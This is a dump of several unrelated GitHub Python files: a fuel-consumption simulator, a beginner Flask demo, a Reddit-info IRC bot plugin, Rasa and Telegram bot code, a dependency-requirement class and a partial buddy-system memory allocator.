total_distance+=impact[\"distance\"]\n            total_fuel+=impact[\"fuel\"]\n            total_delay+=impact[\"delay\"]\n            total_weight+=impact[\"weight\"]\n\n            #print(f\"{impact}\")\n\n        ## NOT HAZZARD FOUND\n        if (total_fuel == 0 and total_distance == 0):\n            print(\"No hazzard impact.\")\n\n        ## RETURNING THE IMPACT\n        total_impact = {\n            \"distance\": total_distance,\n            \"fuel\": total_fuel,\n            \"delay\": total_delay,\n            \"weight\": total_weight\n        }\n        #print(\"Total impact after generation: \", total_impact)\n        return total_impact\n\n\n    # impact because of wind direction\n    ## INITIAL IMPACT\n    impact = calculateImpactOfHazzard(wind_direction, distance_travelled)\n    total_fuel_hazzards+=impact[\"fuel\"]\n    total_distance_hazzards+=impact[\"distance\"]\n    \n    ## LOOP UNTIL DESTINATION IS NOT REACHED\n    while(distance_travelled < destination_distance):\n        print()\n        print()\n        ## HAZZARDS ON LAND\n        if (distance_travelled < 10):\n            ## hazzards on land\n            impact = {}\n            print(\"_\"*70)\n\n            ## GENERATING HAZZARS ON LAND WITH SNOW\n            if (weather == \"snow\"):\n                print()\n                print(\"GENERATING RANDOM HAZZARDS FOR SNOW WEATHER\")\n                impact = generateRandomFactorAndCalculateImpact(hazzards_on_land_snow, 3)\n            else:\n                ## GENERATING HAZZARS ON LAND WITHOUT SNOW\n                print()\n                print(\"GENERATING RANDOM HAZZARDS FOR LAND\")\n                impact = generateRandomFactorAndCalculateImpact(hazzards_on_land, 3)\n                \n            ## UPDATE FULE AND DISTANCE\n            total_fuel_hazzards+=impact[\"fuel\"]\n            total_distance_hazzards+=impact[\"distance\"]\n        \n        ## TAKEOFF: 10-30KM\n        elif (distance_travelled > 10 and distance_travelled < 30):\n            ## hazzards on runway\n            ## TODO: make the time function\n            ## RENDER HAZZARDS ONLY IF THERE IS HIGH PEEK IN FLIGHTS\n            if (runway_hazzards < 1 and departureTime[0] >= 4 and departureTime[0] <= 10):\n                print(\"_\"*70)\n                print()\n                print(\"GENERATING RANDOM HAZZARDS FOR TAKE-OFF\")\n                impact = generateRandomFactorAndCalculateImpact(hazzards_on_runway, 1)\n\n\n                total_fuel_hazzards+=impact[\"fuel\"]\n                total_distance_hazzards+=impact[\"distance\"]\n        \n        # HAZZARDS IN AIR: 30KM TO 60% OF TOTAL TRAVEL DISTANCE\n        elif (distance_travelled > 30 and distance_travelled < 0.6*destination_distance):\n            # hazzards in air\n            ## HAZZARDS ARE LIMITED TO 2 HAZZARDS IN AIR ONLY\n            ## THIS IS BECAUSE AIR HAZZARS HAVE A BIG IMPACT ON FUEL, SUCH AS RETURN TO THE PREVIOUS AIRPORT\n            if (air_hazzards < 2):\n                print(\"_\"*70)\n                print()\n                print(\"GENERATING RANDOM HAZZARDS IN AIR\")\n                impact = generateRandomFactorAndCalculateImpact(hazzards_in_air, 2)\n\n\n                total_fuel_hazzards+=impact[\"fuel\"]\n                total_distance_hazzards+=impact[\"distance\"]\n                air_hazzards+=1\n            \n        ## LANDING HAZZARDS\n        elif (distance_travelled>0.9*destination_distance and distance_travelled < 0.95 * destination_distance):\n            # on landing\n            # peak times between 9:00AM AND 12:00PM OR 14:00 OR 16:00\n            print(\"_\"*70)\n            print()\n            print(\"GENERATING RANDOM HAZZARDS FOR BEFORE LANDING\")\n            impact = generateRandomFactorAndCalculateImpact(hazzards_on_before_landing, 2)\n\n            total_fuel_hazzards+=impact[\"fuel\"]\n            total_distance_hazzards+=impact[\"distance\"]\n                \n\n            # taxiing HAZZARS\n        elif (distance_travelled>0.95*destination_distance):\n            print(\"_\"*70)\n            print()\n            print(\"GENERATING RANDOM HAZZARDS FOR TAXING AFTER LAND\")\n            impact = generateRandomFactorAndCalculateImpact(hazzards_on_landing, 2)\n\n            total_fuel_hazzards+=impact[\"fuel\"]\n            total_distance_hazzards+=impact[\"distance\"]\n            \n\n           \n            \n        print(\"-\"*70)\n        print(\"Approximate fuel consumption based on 80-percent average speed:\", round(gas_required_per_hour * (distance_travelled / (plane[\"max_speed\"]*0.8))+total_fuel_hazzards + gas_required_per_hour * (total_distance_hazzards / (plane[\"max_speed\"]*0.8)), 2), \"Litre\")\n        print(\"Distance travelled:\", distance_travelled, \"km\")\n        print()\n\n        ## HOW PRECISE SHOULD THE OUTPUT BE\n        ## FOR FIRST 200 KM, SKIP BY 7.5KM PER LOOP\n        if (distance_travelled < 200):\n            distance_travelled+=7.5\n        else:\n            ## SKIP BY 20 KM PER LOOP\n            distance_travelled+=30\n            \n    print()\n    print()\n\n    ## FINAL CALCULATIONS OF THE DISTANCE TO FUEL, OVERALL FUEL AND FUEL WEIGHT\n    distance_to_fuel = gas_required_per_hour * (total_distance_hazzards / (plane[\"max_speed\"]*0.8))\n    total_overall_consumption = (gas_required_per_hour * (distance_travelled / (plane[\"max_speed\"]*0.8))+total_fuel_hazzards + gas_required_per_hour * (total_distance_hazzards / (plane[\"max_speed\"]*0.8))) ## gas_required_per_hour * flight_duration + distance_to_fuel ## \n    fuel_weight = total_overall_consumption * 0.84 # 1L = 0.84 kg\n\n    ## DISPLAYING FINAL RESULT IN A TABLE\n    print(\"=\"*37 + \"=============\" + \"=\"*26)\n    print(\"=\"*37 + \"SUMMARY TABLE\" + \"=\"*26)\n    print(\"| %-40s | %20s %-8s |\" % (\"Total duration\", round(flight_duration), \"hours\"))\n    print(\"| %-40s | %20s %-8s |\" % (\"Total weight\", round(total_passenger_luggage_weight, 2), \"kg\"))\n    print(\"| %-40s | %20s %-8s |\" % (\"Gas per hour\", round(gas_required_per_hour, 2), \"Litre\"))\n    print(\"| %-40s | %20s %-8s |\" % (\"Total fuel for original distance\", round(gas_required_per_hour * flight_duration, 2), \"Litre\"))\n    print(\"| %-40s | %20s %-8s |\" % (\"Total fuel consumed by hazzards\", round(total_fuel_hazzards, 2), \"Litre\"))\n    print(\"| %-40s | %20s %-8s |\" % (\"Total distance increase\", round(total_distance_hazzards, 2), \"km\"))\n    print(\"| %-40s | %20s %-8s |\" % (\"Total fuel because of distance increase\", round(distance_to_fuel, 2), \"Litre\"))\n    print(\"| %-40s | %20s %-8s |\" % (\"Total fuel overall\", round(total_overall_consumption, 2), \"Litre\"))\n    \n    print(\"=\"*75)\n\n    print()\n    print(\"List of total hazzards that happened in the simulation.\")\n    print()\n    ## RENDERING THE LIST OF HAZZARS\n    for hazzard in total_hazzards:\n        \n        print(flightHazzardText(hazzard[\"hazzard\"]))\n        print(\"Fuel: \" + str(round(hazzard[\"fuel\"])) +\" litre\")\n        print(\"Distance: \" + str(round(hazzard[\"distance\"])) + \" km\")\n        print()\n\n\n    return {\n        \"passengers\": passengers,\n        \"luggage\": luggage,\n        \"onboard_luggage\": onboard_luggage,\n        \"extra_cargo\": extra_cargo_weight,\n        \"departure_time\": departureTime,\n        \"weather\": weather,\n        \"wind_direction\": wind_direction,\n        \"total_duration\": flight_duration,\n        \"total_weight\": total_passenger_luggage_weight,\n        \"total_weight_with_fuel\": fuel_weight + total_passenger_luggage_weight,\n\n        \"gap_per_hour\": gas_required_per_hour,\n        \"total_fuel_without_hazzards\": gas_required_per_hour * flight_duration,\n        \"total_fuel_for_hazzards\": total_fuel_hazzards,\n        \"total_distance_increase\": total_distance_hazzards, # this represents hazzards that required fuel directly\n        \"total_fuel_by_distance_hazzards_increase\": distance_to_fuel, # this calculates the fuel from the hazzards that added more distance. \n        \"total_overall_fuel\": total_overall_consumption,\n        \"total_fuel_weight\": fuel_weight\n    }\n\n\n\n\n\n\n\n\n\n\n\n\n\ntypeOfUsage = input(\"? Enter 'car' for car gas millage simulation or 'plane' for flight simulation: \")\nif typeOfUsage != \"car\" and typeOfUsage != \"plane\":\n    print(\"Invalid choice: 'car' or 'plane' only.\")\nprint()\n\nif typeOfUsage == \"plane\":\n    route = flightPrompts()\n    print(\"\\n\\n\")\n    begin = input(\"Type 'start' to begin with the simulation: \")\n    if begin.lower() == 'start':\n        print(\"BEGINNING FLIGHT SIMULATION\")\n        print()\n\n        flight = getFlights()[route[\"plane\"]]\n        printFlight(flight)\n        print()\n        \n        flightSimulation(route[\"plane\"], route[\"distance\"], route[\"duration\"])\nelif typeOfUsage == \"car\":\n    results = carPrompts()\n    if results:\n        print()\n        fill = input(\"Would you like to compute the price of the fuel (yes or no)?: \")\n        if (fill == \"yes\"):\n            if (results[\"car\"][\"premium\"]):\n                print(\"Your car requires premium fuel.\")\n            prices = findGasStations(4, results[\"car\"][\"premium\"])\n            printGasStations(prices[0], prices[1][\"name\"])\n\n            selectionId = int(input(f\"Enter the selection ID (1 to {(4)}): \"))\n            station = prices[0][selectionId-1]\n\n            print()\n            print(\"You selected:\", station[\"name\"])\n            if results[\"car\"][\"premium\"]:\n                print(\"You selected:\", station[\"name\"])\n                print(\"Gas price:\", station[\"premium_cost\"], \"CA$ / L\")\n                print(\"Your total cost is: \", round(station[\"premium_cost\"] * results[\"total_consumption\"], 2), \"CA$\")\n            else:\n                print(\"Gas price:\", station[\"petrol_cost\"], \"CA$ / L\")\n                print(\"Your total cost is: \", round(station[\"petrol_cost\"] * results[\"total_consumption\"], 2), \"CA$\")\n\n\n\n\n\n\n\n\n\n\n","repo_name":"shardaishwak/fuel-consumption-simulator","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":84807,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"10168851077","text":"from flask import Flask, request, render_template, redirect, flash\r\nfrom flask_debugtoolbar import DebugToolbarExtension\r\nfrom random import randint\r\n\r\napp = Flask(__name__)\r\n\r\napp.config['SECRET_KEY'] = \"thisisthekey\"\r\n#app.config['DEBUG_TB_INTERCEPT_REDIRECTS'] = False\r\ndebug = DebugToolbarExtension(app)\r\n\r\n\r\n@app.route('/')\r\ndef home():\r\n    \"\"\"Home page in root route demo\"\"\"\r\n    html = \"\"\"\r\n            <html>\r\n                <body>\r\n                    <h1>Home Page</h1>\r\n                    <a href='/hello'>Hi page</a>\r\n                    <br>\r\n                    <a href='/addcomment'>Comment!</a>\r\n                </body>\r\n            </html>\r\n            \"\"\"\r\n    return html\r\n\r\n\r\n@app.route('/hello')\r\ndef say_hello():\r\n    \"\"\"Return simple 'hello' greeting in flask basics demo\"\"\"\r\n    html = \"\"\"\r\n            <html>\r\n                <body>\r\n                    <h1>Hello</h1>\r\n                </body>\r\n            </html>\r\n            \"\"\"\r\n    return html\r\n\r\n\r\n@app.route('/querystringtest')\r\ndef query_string_test():\r\n    \"\"\"Parses query string into more legible format in query string demo\"\"\"\r\n    response = ''\r\n    for item in request.args:\r\n        response+= f\"<h4>{item}:{request.args[item]}</h4>\"\r\n    \r\n    return response\r\n    \r\n\r\n@app.route('/postrequestpage',methods=[\"POST\"])\r\ndef post_request_page():\r\n    \"\"\"Makes a post request in POST request demo\"\"\"\r\n\r\n    return 'this was a POST request'\r\n\r\n\r\n@app.route('/addcomment')\r\ndef add_comment_form():\r\n    \"\"\"Serves a comment form to be POSTed in form submission demo\"\"\"\r\n\r\n    html = \"\"\"\r\n            <html>\r\n                <body>\r\n                    <form method='POST'>\r\n                        <input name= 'comment' type='text' placeholder='comment' required>\r\n                        <button>Submit</button>\r\n                    </form>\r\n                </body>\r\n            </html>\r\n            \"\"\"\r\n    return html\r\n\r\n\r\n@app.route('/addcomment',methods=[\"POST\"])\r\ndef post_comment():\r\n    \"\"\"Posts comment to page in form submission demo\"\"\"\r\n\r\n    comment = request.form[\"comment\"]\r\n    return f\"You commented: \\n {comment}\"\r\n\r\n\r\n@app.route('/comments/<int:id>')\r\ndef show_comment(id):\r\n    \"\"\"Shows comment number <id> in path variable demo\"\"\"\r\n    #int in route path is optional, specifies that path variable is int\r\n\r\n    html = f\"\"\"\r\n        <html>\r\n            <body>\r\n                <p>You've reached comment number {id}</p>\r\n            </body>\r\n        </html>\r\n    \"\"\"\r\n    return html\r\n\r\n\r\n#let's pretend there's a function here to showcase the incredible difficulty of using multiple path variables in one route path\r\n\r\n\r\n@app.route('/templates/hello')\r\ndef jinja_hello():\r\n    \"\"\"Demo of Jinja to render static template of hello.html\"\"\"\r\n\r\n    return render_template('hello.html')\r\n\r\n\r\n@app.route('/lucky')\r\ndef lucky_page():\r\n    \"\"\"Demo of dynamic HTML template using Jinja by making a page that displays a random lucky number\"\"\"\r\n\r\n    lucky_num = randint(1,20)\r\n    #inside lucky.html, the variable is named lucky_var and we can use it inside {{ }}\r\n    return render_template('lucky.html',lucky_num = lucky_num)\r\n\r\n\r\n@app.route('/base')\r\ndef base_temp():\r\n    \"\"\"Demo of template inheritance, base template\"\"\"\r\n\r\n    return render_template('base.html')\r\n\r\n\r\n@app.route('/child')\r\ndef child_temp():\r\n    \"\"\"Demo of template inheritance, child template\"\"\"\r\n\r\n    return render_template('child.html')\r\n\r\n\r\n@app.route('/funform')\r\ndef funform_view():\r\n    \"\"\"Returns simple name submission form\"\"\"\r\n\r\n    return render_template('funform.html')\r\n\r\n\r\nname = 'ravi'\r\n@app.route('/funform', methods=[\"POST\"])\r\ndef funform_post():\r\n    \"\"\"Saves name to global variable\"\"\"\r\n    name = request.form.get(\"name\",default=\"kiran\")\r\n    return redirect('/funformdone')\r\n\r\n\r\n@app.route('/funformdone')\r\ndef funformdone_view():\r\n    return name","repo_name":"RaviP1494/PythonFlaskUnit","sub_path":"first-flask-server/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":3838,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"39540382635","text":"import requests\nimport re\n\nfrom collections import defaultdict\nfrom datetime import datetime\nfrom bs4 import BeautifulSoup\nfrom cloudbot import hook\n\nsearch_pages = defaultdict(list)\n\nuser_url = \"http://reddit.com/user/{}/\"\nsubreddit_url = \"http://reddit.com/r/{}/\"\n# This agent should be unique for your cloudbot instance\nagent = {\"User-Agent\":\"gonzobot a cloudbot (IRCbot) implementation for snoonet.org by /u/bloodygonzo\"}\n\n\ndef two_lines(bigstring, chan):\n    \"\"\"Receives a string with new lines. Groups the string into a list of strings with up to 2 new lines per string element. Returns first string element then stores the remaining list in search_pages.\"\"\"\n    global search_pages\n    temp = bigstring.split('\\n')\n    for i in range(0, len(temp), 2):\n        search_pages[chan].append('\\n'.join(temp[i:i+2]))\n    search_pages[chan+\"index\"] = 0\n    return search_pages[chan][0]\n\n\ndef smart_truncate(content, length=355, suffix='...\\n'):\n    if len(content) <= length:\n        return content\n    else:\n        return content[:length].rsplit(' \\u2022 ', 1)[0]+ suffix + content[:length].rsplit(' \\u2022 ', 1)[1] + smart_truncate(content[length:])\n\ndef statuscheck(status, item):\n    \"\"\"since we are doing this a lot might as well return something more meaningful\"\"\"\n    out = \"\"\n    if status == 404:\n        out = \"It appears {} does not exist.\".format(item)\n    elif status == 403:\n        out = \"Sorry {} is set to private and I cannot access it.\".format(item)\n    elif status == 429:\n        out = \"Reddit appears to be rate-limiting me. Please try again in a few minutes.\"\n    elif status == 503:\n        out = \"Reddit is having problems, it would be best to check back later.\"\n    else:\n        out = \"Reddit returned an error, response: {}\".format(status)\n    return out\n\n@hook.command(\"moremod\", autohelp=False)\ndef moremod(text, chan):\n    \"\"\"if a sub or mod list has lots of results the results are pagintated. If the most recent search is paginated the pages are stored for retreival. If no argument is given the next page will be returned else a page number can be specified.\"\"\"\n    if not search_pages[chan]:\n        return \"There are modlist pages to show.\"\n    if text:\n        index = \"\"\n        try:\n            index = int(text)\n        except:\n            return \"Please specify an integer value.\"\n        if abs(int(index)) > len(search_pages[chan]) or index == 0:\n            return \"please specify a valid page number between 1 and {}.\".format(len(search_pages[chan]))\n        else:\n            return \"{}(page {}/{})\".format(search_pages[chan][index-1], index, len(search_pages[chan]))\n    else:\n        search_pages[chan+\"index\"] += 1\n        if search_pages[chan+\"index\"] < len(search_pages[chan]):\n            return \"{}(page {}/{})\".format(search_pages[chan][search_pages[chan+\"index\"]], search_pages[chan+\"index\"] + 1, len(search_pages[chan]))\n        else:\n            return \"All pages have been shown.\"\n\n\n@hook.command(\"subs\", \"moderates\", singlethreaded=True)\ndef moderates(text, chan):\n    \"\"\"This plugin prints the list of subreddits a user moderates listed in a reddit users profile. Private subreddits will not be listed.\"\"\"\n    #This command was written using concepts from FurCode http://github.com/FurCode.\n    global search_pages\n    search_pages[chan] = []\n    search_pages[chan+\"index\"] = 0\n    user = text\n    r = requests.get(user_url.format(user), headers=agent)\n    if r.status_code != 200:\n        return statuscheck(r.status_code, user)\n    soup = BeautifulSoup(r.text)\n    try:\n        modlist = soup.find('ul', id=\"side-mod-list\").text\n    except:\n        return \"{} does not moderate any public subreddits.\".format(user)\n    modlist = modlist.split('/r/')\n    del modlist[0]\n    out = \"\\x02{}\\x02 moderates these public subreddits: \".format(user)\n    for sub in modlist:\n        out += \"{} \\u2022 \".format(sub)\n    out = out[:-2]\n    out = smart_truncate(out)\n    if len(out.split('\\n')) > 2:\n        out = two_lines(out, chan)\n        return \"{}(page {}/{}) .moremod\".format(out, search_pages[chan+\"index\"] + 1 , len(search_pages[chan]))\n    return out\n\n\n@hook.command(\"karma\", \"ruser\", singlethreaded=True)\ndef karma(text):\n    \"\"\"karma <reddituser> will return the information about the specified reddit username\"\"\"\n    user = text\n    url = user_url + \"about.json\"\n    r = requests.get(url.format(user), headers=agent)\n    if r.status_code != 200:\n        return statuscheck(r.status_code, user)\n    data = r.json()\n    out = \"\\x02{}\\x02 \".format(user)\n    out += \"\\x02{:,}\\x02 link karma and \".format(data['data']['link_karma'])\n    out += \"\\x02{:,}\\x02 comment karma, \".format(data['data']['comment_karma'])\n    if data['data']['is_gold']:\n        out += \"has reddit gold, \"\n    if data['data']['is_mod']:\n        out += \"is a moderator, \"\n    if data['data']['has_verified_email']:\n        out += \"email has been verified, \"\n    account_age = datetime.now() - datetime.fromtimestamp(data['data']['created'])\n    if account_age.days > 365:\n        age = int(account_age.days / 365)\n        out += \"and has been a redditor for {} years.\".format(age)\n    else:\n        out += \"and has been a redditor for {} days.\".format(account_age.days)\n    return out\n\ndef time_format(numdays):\n    age = ()\n    if numdays >= 365:\n        age = (int(numdays / 365), \"y\")\n        if age[0] > 1:\n            age = (age[0], \"y\")\n    else:\n        age = (numdays, \"d\")\n    return age\n\n@hook.command(\"submods\", \"mods\", \"rmods\", singlethreaded=True)\ndef submods(text, chan):\n    \"\"\"submods <subreddit> prints the moderators of the specified subreddit. Do not include /r/ when specifying a subreddit.\"\"\"\n    global search_pages\n    search_pages[chan] = []\n    search_pages[chan+\"index\"] = 0\n    sub = text\n    url = subreddit_url + \"about/moderators.json\"\n    r = requests.get(url.format(sub), headers=agent)\n    if r.status_code != 200:\n        return statuscheck(r.status_code, 'r/'+sub)\n    data = r.json()\n    out = \"r/\\x02{}\\x02 mods: \".format(sub)\n    for mod in data['data']['children']:\n        username = mod['name']\n        # Showing the modtime makes the message too long for larger subs\n        # if you want to show this information add modtime.days to out below\n        modtime = datetime.now() - datetime.fromtimestamp(mod['date'])\n        modtime = time_format(modtime.days)\n        out += \"{} ({}{}) \\u2022 \".format(username, modtime[0], modtime[1])\n    out = smart_truncate(out)\n    out = out[:-3]\n    if len(out.split('\\n')) > 2:\n        out = two_lines(out, chan)\n        return \"{}(page {}/{}) .moremod\".format(out, search_pages[chan+\"index\"] + 1 , len(search_pages[chan]))\n    return out\n\n@hook.command(\"subinfo\",\"subreddit\", \"sub\", \"rinfo\", singlethreaded=True)\ndef subinfo(text):\n    \"\"\"subinfo <subreddit> fetches information about the specified subreddit. Do not include /r/ when specifying a subreddit.\"\"\"\n    sub = text\n    url = subreddit_url + \"about.json\"\n    r = requests.get(url.format(sub), headers=agent)\n    if r.status_code != 200:\n        return statuscheck(r.status_code, 'r/'+sub)\n    data = r.json()\n    if data['kind'] == \"Listing\":\n        return \"It appears r/{} does not exist.\".format(sub)\n    name = data['data']['display_name']\n    title = data['data']['title']\n    nsfw = data['data']['over18']\n    subscribers = data['data']['subscribers']\n    active = data['data']['accounts_active']\n    sub_age = datetime.now() - datetime.fromtimestamp(data['data']['created'])\n    age = ()\n    if sub_age.days >= 365:\n        age = (int(sub_age.days / 365), \"y\")\n    else:\n        age = (sub_age.days, \"d\")\n    out = \"r/\\x03{}\\x02 - {} - a community for {}{}, there are {:,} subscribers and {:,} people online now.\".format(name, title, age[0], age[1], subscribers, active)\n    if nsfw:\n        out += \" \\x0304NSFW\\x0304\"\n    return out\n","repo_name":"CrushAndRun/Cloudbot-Tarball","sub_path":"plugins/reddit_info.py","file_name":"reddit_info.py","file_ext":"py","file_size_in_byte":7813,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"16"}
+{"seq_id":"20647469102","text":"#User function Template for python3\n\nclass Solution:\n    def getPairsCount(self, arr, n, k):\n        # code here\n        d={}\n        ans=0\n        for i in range(len(arr)):\n            if k-arr[i] in d:\n                ans+=d[k-arr[i]]\n            if arr[i] in d:\n                d[arr[i]]+=1\n            else:\n                d[arr[i]]=1\n        return ans\n\n\n#{ \n # Driver Code Starts\n#Initial Template for Python 3\n\nif __name__ == '__main__':\n    tc = int(input())\n    while tc > 0:\n        n, k = list(map(int, input().strip().split()))\n        arr = list(map(int, input().strip().split()))\n        ob = Solution()\n        ans = ob.getPairsCount(arr, n, k)\n        print(ans)\n        tc -= 1\n\n# } Driver Code Ends","repo_name":"sumanthboorla/DSA-solving","sub_path":"Count pairs with given sum - GFG/count-pairs-with-given-sum.py","file_name":"count-pairs-with-given-sum.py","file_ext":"py","file_size_in_byte":717,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"70414610888","text":"## Rasa \nfrom typing import Any, Text, Dict, List\nfrom rasa_sdk import Action, Tracker\nfrom rasa_sdk.executor import CollectingDispatcher\nfrom rasa_sdk.events import (\n    UserUtteranceReverted,\n    FollowupAction,\n    AllSlotsReset,\n    Restarted,\n    SlotSet,\n    EventType,\n    LoopInterrupted,\n    ActionExecutionRejected\n)\nimport threading\nimport asyncio\n## Telethon Client\nfrom actions.telegram_members.telethonhandler import TelethonHandler\nfrom actions.users.userhandler import UserHandler\nfrom actions.users.user import User\nfrom actions.groups.grouphandler import GroupHandler\nfrom actions.common.common import get_credentials, setup_logging\nimport logging\nlogger = setup_logging()\n\nclass ActionGetChannelMembers(Action):\n\n    def name(self) -> Text:\n        return \"action_get_channel_members\"\n\n    async def run(self, dispatcher: CollectingDispatcher,\n            tracker: Tracker,\n            domain: Dict[Text, Any]) -> List[Dict[Text, Any]]:\n        try:\n            is_user = False\n            team_mates = None\n            if not tracker.get_slot('my_group'): \n                user_handler = UserHandler() \n                telethon_handler = TelethonHandler()\n                team_mates, is_user = await telethon_handler.get_users(tracker.sender_id) \n                print(\"\\033[94mTEAM_MATES:\\033[0m \\n%s\" %team_mates)\n                if '_id' in team_mates:\n                    team_mates['_id'] = str(team_mates['_id'])\n                return[SlotSet('is_user', is_user), SlotSet('my_group',team_mates), FollowupAction(\"action_start\")]\n            else:\n                print(\"\\033[94mdont call get members again\\033[0m\")\n        except Exception as e:\n            logger.exception(e)\n            return[SlotSet('is_user', is_user), SlotSet('my_group',team_mates), FollowupAction(\"action_start\")]\n","repo_name":"tubspaulkeller/PCA-Ben","sub_path":"actions/telegram_members/get_channel_members.py","file_name":"get_channel_members.py","file_ext":"py","file_size_in_byte":1817,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"25400994908","text":"import logging\nimport os\n\nfrom intents import detect_intent_texts\nfrom dotenv import load_dotenv\nfrom log_handler import TelegramBotHandler\nfrom telegram.ext import (Updater, CommandHandler, MessageHandler,\n                          Filters, CallbackContext)\n\n\nlogger = logging.getLogger('intents')\n\n\ndef error_handler(update, context):\n    logger.exception(context.error)\n\n\ndef start(update, context):\n    update.message.reply_text('Здравствуйте')\n\n\ndef reply(update, context):\n    user_text = update.message.text\n    answer, is_fallback = detect_intent_texts(\n        context.bot_data['project_id'],\n        context.bot_data['token'],\n        user_text,\n        language_code='ru',\n    )\n    update.message.reply_text(answer)\n\n\ndef main():\n    load_dotenv()\n\n    tg_token = os.getenv('TG_BOT_TOKEN')\n    logbot_token = os.getenv('TG_LOG_BOT_TOKEN')\n    chat_id = os.getenv('TG_CHAT_ID')\n\n    logger.setLevel(logging.WARNING)\n    logger.addHandler(TelegramBotHandler(logbot_token, chat_id))\n\n    updater = Updater(tg_token)\n    dispatcher = updater.dispatcher\n    context = CallbackContext(dispatcher)\n\n    context.bot_data['project_id'] = os.getenv('GOOGLE_CLOUD_PROJECT_ID')\n    context.bot_data['token'] = os.getenv('TG_BOT_TOKEN')\n\n    dispatcher.add_error_handler(error_handler)\n    dispatcher.add_handler(CommandHandler('start', start))\n    dispatcher.add_handler(MessageHandler(Filters.text, reply))\n\n    updater.start_polling()\n    updater.idle()\n\n\nif __name__ == '__main__':\n    main()\n","repo_name":"multipassport/flowbot","sub_path":"tgbot.py","file_name":"tgbot.py","file_ext":"py","file_size_in_byte":1508,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"9144940243","text":"import warnings\nfrom dependency_management.requirements.PackageRequirement import (\n    PackageRequirement)\n\n\nclass AnyOneOfRequirements(PackageRequirement):\n    \"\"\"\n    This class is a subclass of ``PackageRequirement``. It determines which\n    requirements can be used to resolve the dependency.\n    \"\"\"\n\n    def __init__(self, requirements: list):\n        \"\"\"\n        Constructs a new ``AnyOneOfRequirements``.\n\n        Requirements are ordered by priority.\n\n        >>> from dependency_management.requirements.ExecutableRequirement \\\\\n        ...     import ExecutableRequirement\n        >>> aor = AnyOneOfRequirements([ExecutableRequirement(\"python\"),\n        ...                             ExecutableRequirement(\"python3\")])\n        >>> str(aor)\n        'ExecutableRequirement(python) ExecutableRequirement(python3)'\n        \"\"\"\n        self.requirements = requirements\n        self._packages_str = \" \".join(sorted(\n                                      [\"%s(%s)\" %\n                                       (requirement.__class__.__name__,\n                                        str(requirement))\n                                       for requirement in self.requirements]))\n        PackageRequirement.__init__(self, \"any-one-of\", self._packages_str)\n\n    def is_installed(self):\n        \"\"\"\n        Check if any one of the requirements are satisfied.\n\n        :return: True if any of the requirements are satisfied, false otherwise\n        \"\"\"\n        for requirement in self.requirements:\n            try:\n                if requirement.is_installed():\n                    return True\n            except Exception as e:\n                message = 'Exception of type {0} occurred : {1!r}\\n'\n                warnings.warn(message.format(type(e).__name__, e.args))\n        return False\n","repo_name":"yzgyyang/dependency_management","sub_path":"dependency_management/requirements/AnyOneOfRequirements.py","file_name":"AnyOneOfRequirements.py","file_ext":"py","file_size_in_byte":1791,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"16"}
+{"seq_id":"19277742525","text":"# Name: Eimantas Pusinskas\r\n# Student ID: 120312336\r\n\r\nfrom queues import *\r\nfrom process import *\r\nfrom block import *\r\nfrom random import randint\r\n\r\nclass BuddySystemBST(object):\r\n    \t\r\n    class node(object):\r\n        def __init__ (self, size):\r\n            self._block = Block(size)\r\n            self._parent = None\r\n            self._leftchild = None\r\n            self._rightchild = None\r\n\r\n        def __str__ (self):\r\n            return f\"{self._block.size} KB\"\r\n\r\n        def get_block(self):\r\n            return self._block\r\n\r\n        def set_block(self, block):\r\n            self._block = block\r\n    \r\n        block = property(get_block, set_block)\r\n\r\n\r\n    def __init__(self, size):\r\n        self._root = self.node(size)\r\n        self._block_nodes = self._root\r\n        \r\n    def get_root(self):\r\n        return self._root         \r\n\r\n    # checks if a node is a leaf node\r\n    def is_leaf(self, node):\r\n        if node._leftchild == None and node._rightchild == None:\r\n            return True\r\n        else:\r\n            return False\r\n\r\n    # returns a list of all leaf nodes in the tree\r\n    def get_leaf_nodes(self):\r\n        root = self.get_root()\r\n        blocks = []\r\n        blocks = self._get_leaf_nodes(root, blocks)\r\n        return blocks\r\n        \r\n    def _get_leaf_nodes(self, node, blocks):\r\n        if self.is_leaf(node):\r\n            blocks.append(node)\r\n        else:\r\n            if node._leftchild != None:\r\n                self._get_leaf_nodes(node._leftchild, blocks)\r\n\r\n            if node._rightchild != None:\r\n                self._get_leaf_nodes(node._rightchild, blocks)\r\n        return blocks \r\n\r\n    # splits a node by instantiating to node objects and setting them\r\n    # as the original nodes children\r\n    def split_node(self, node):\r\n        parent_block_size = node.block.size\r\n\r\n        left_child = self.node(parent_block_size//2)\r\n        right_child = self.node(parent_block_size//2)\r\n\r\n        node._leftchild = left_child\r\n        node._rightchild = right_child\r\n\r\n        left_child._parent = node\r\n        right_child._parent = node\r\n\r\n        return node\r\n\r\n    def print_leaf_nodes(self):\r\n        nodes = self.get_leaf_nodes()\r\n        output = \"< \"\r\n        for node in nodes:\r\n            output += f\"({node}:\"\r\n            if node.block._allocated == True:\r\n                output += \"1) \"\r\n            else:\r\n                output += \"0) \"\r\n        output += \">\"\r\n        print(output)\r\n\r\n    # returns a list of every node in the tree\r\n    def get_all_nodes(self):\r\n        nodes = []\r\n        root = self.get_root()\r\n        nodes = self._get_all_nodes(root, nodes)\r\n        return nodes\r\n\r\n    def _get_all_nodes(self, node, nodes):\r\n        nodes.append(node)\r\n\r\n        if node._leftchild != None:\r\n            self._get_all_nodes(node._leftchild, nodes)\r\n\r\n        if node._rightchild != None:\r\n            self._get_all_nodes(node._rightchild, nodes)\r\n        return nodes\r\n\r\n    def print_all_nodes(self):\r\n        nodes = self.get_all_nodes()\r\n        output = \"\"\r\n        for node in nodes:\r\n            output += f\"({node.block.size}, \"\r\n            if node.block._allocated == True:\r\n                output += \"1) \"\r\n            else:\r\n                output += \"0) \"\r\n        print(output)\r\n\r\n    # removes two children nodes of a parent node\r\n    def merge_children_nodes(self, node):\r\n        